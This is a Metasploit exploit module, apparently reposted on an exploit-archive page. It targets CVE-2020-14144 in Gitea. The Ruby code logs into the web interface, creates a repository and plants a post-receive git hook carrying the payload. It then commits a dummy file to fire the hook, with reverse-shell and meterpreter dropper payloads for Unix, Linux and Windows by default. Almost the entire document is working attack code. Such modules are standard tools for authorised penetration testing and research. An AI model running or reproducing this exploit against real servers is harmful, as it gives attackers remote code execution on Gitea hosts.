Gitea Git Hooks Remote Code Execution

2021.04.08
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Gitea Git Hooks Remote Code Execution', 'Description' => %q{ This module leverages an insecure setting to get remote code execution on the target OS in the context of the user running Gitea. This is possible when the current user is allowed to create `git hooks`, which is the default for administrative users. For non-administrative users, the permission needs to be specifically granted by an administrator. To achieve code execution, the module authenticates to the Gitea web interface, creates a temporary repository, sets a `post-receive` git hook with the payload and creates a dummy file in the repository. This last action will trigger the git hook and execute the payload. Everything is done through the web interface. It has been mitigated in version 1.13.0 by setting the Gitea `DISABLE_GIT_HOOKS` configuration setting to `true` by default. This disables this feature and prevents all users (including admin) from creating custom git hooks. This module has been tested successfully against docker versions 1.12.5, 1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on version 1.12.6 on Windows. }, 'Author' => [ 'Podalirius', # Original PoC 'Christophe De La Fuente' # MSF Module ], 'References' => [ ['CVE', '2020-14144'], ['EDB', '49571'], ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'], ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/'] ], 'DisclosureDate' => '2020-10-07', 'License' => MSF_LICENSE, 'Platform' => %w[unix linux win], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :bourne, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ Opt::RPORT(3000), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with']), OptString.new('PASSWORD', [true, 'Password to use']), ]) @need_cleanup = false end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res return CheckCode::Unknown('Target did not respond to check.') end # Powered by Gitea Version: 1.12.5 unless (match = res.body.match(/Powered by Gitea Version: (?<version>[\d.]+)/)) return CheckCode::Unsupported('Target does not appear to be running Gitea.') end if Rex::Version.new(match[:version]) >= Rex::Version.new('1.13.0') print_warning( 'This version of Gitea has the "DISABLE_GIT_HOOKS" option set to true '\ 'by default. This prevents all users (including admin) from creating '\ 'custom git hooks. This exploit might not work if this option is still '\ 'set to the default value.' ) end CheckCode::Appears("Gitea version is #{match[:version]}") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"") gitea_login print_good('Logged in') @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_') print_status("Create repository \"#{@repo_name}\"") gitea_create_repo @need_cleanup = true print_good('Repository created') case target['Type'] when :unix_cmd, :win_cmd execute_command(payload.encoded) when :linux_dropper, :win_dropper execute_cmdstager(background: true, delay: 1) end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") print_status('Setup post-receive hook with command') gitea_post_receive_hook(cmd) print_good('Git hook setup') print_status('Create a dummy file on the repo to trigger the payload') last_chunk = cmd_list ? cmd == cmd_list.last : true gitea_create_file(last_chunk: last_chunk) print_good("File created#{', shell incoming...' if last_chunk}") end def http_post_request(uri, opts = {}) csrf = opts.delete(:csrf) || get_csrf(uri) timeout = opts.delete(:timeout) || 20 post_data = { _csrf: csrf }.merge(opts) request_hash = { 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], uri), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => post_data } send_request_cgi(request_hash, timeout) end def get_csrf(uri) vprint_status('Get "csrf" value') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri) ) unless res fail_with(Failure::Unreachable, 'Unable to get the CSRF token') end csrf = extract_value(res, '_csrf') vprint_good("csrf=#{csrf}") csrf end def extract_value(res, attr) # <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEll57hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA"> # <input type="hidden" id="uid" name="uid" value="2" required> # <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2"> unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/)) return fail_with(Failure::NotFound, "\"#{attr}\" not found in response") end return match[:value] end def gitea_login res = http_post_request( '/user/login', user_name: datastore['USERNAME'], password: datastore['PASSWORD'] ) unless res fail_with(Failure::Unreachable, 'Unable to reach the login page') end unless res.code == 302 fail_with(Failure::NoAccess, 'Login failed') end nil end def gitea_create_repo uri = normalize_uri(datastore['TARGETURI'], '/repo/create') res = send_request_cgi('method' => 'GET', 'uri' => uri) unless res fail_with(Failure::Unreachable, "Unable to reach #{uri}") end vprint_status('Get "csrf" and "uid" values') csrf = extract_value(res, '_csrf') vprint_good("csrf=#{csrf}") uid = extract_value(res, 'uid') vprint_good("uid=#{uid}") res = http_post_request( uri, uid: uid, repo_name: @repo_name, private: 'on', description: '', repo_template: '', issue_labels: '', gitignores: '', license: '', readme: 'Default', auto_init: 'on', default_branch: 'master', csrf: csrf ) unless res fail_with(Failure::Unreachable, "Unable to reach #{uri}") end unless res.code == 302 fail_with(Failure::UnexpectedReply, 'Create repository failure') end nil end def gitea_post_receive_hook(cmd) uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive') shell = <<~SHELL #!/bin/bash #{cmd}& exit 0 SHELL res = http_post_request(uri, content: shell) unless res fail_with(Failure::Unreachable, "Unable to reach #{uri}") end unless res.code == 302 msg = 'Post-receive hook creation failure' if res.code == 404 msg << ' (user is probably not allowed to create Git Hooks)' end fail_with(Failure::UnexpectedReply, msg) end nil end def gitea_create_file(last_chunk: false) uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master') filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt" res = send_request_cgi('method' => 'GET', 'uri' => uri) unless res fail_with(Failure::Unreachable, "Unable to reach #{uri}") end vprint_status('Get "csrf" and "last_commit" values') csrf = extract_value(res, '_csrf') vprint_good("csrf=#{csrf}") last_commit = extract_value(res, 'last_commit') vprint_good("last_commit=#{last_commit}") http_post_request( uri, last_commit: last_commit, tree_path: filename, content: Rex::Text.rand_text_alpha(1..20), commit_summary: '', commit_message: '', commit_choice: 'direct', csrf: csrf, timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting ) vprint_status("#{filename} created") nil end # Hook the HTTP client method to add specific cookie management logic def send_request_cgi(opts, timeout = 20) res = super return unless res # HTTP client does not handle cookies with the same name correctly. It adds # them instead of substituing the old value with the new one. unless res.get_cookies.empty? cookie_jar_hash = cookie_jar_to_hash cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' ')) cookie_jar_hash.merge!(cookies_from_response) cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set| set << "#{cookie[0]}=#{cookie[1]}" end cookie_jar.clear cookie_jar.merge(cookie_jar_updated) end res end def cookie_jar_to_hash(jar = cookie_jar) jar.each_with_object({}) do |cookie, cookie_hash| name, value = cookie.split('=') cookie_hash[name] = value end end def cleanup super return unless @need_cleanup print_status('Cleaning up') uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings') res = http_post_request(uri, action: 'delete', repo_name: @repo_name) unless res fail_with(Failure::Unreachable, 'Unable to reach the settings page') end unless res.code == 302 fail_with(Failure::UnexpectedReply, 'Delete repository failure') end print_status("Repository #{@repo_name} deleted.") nil end end


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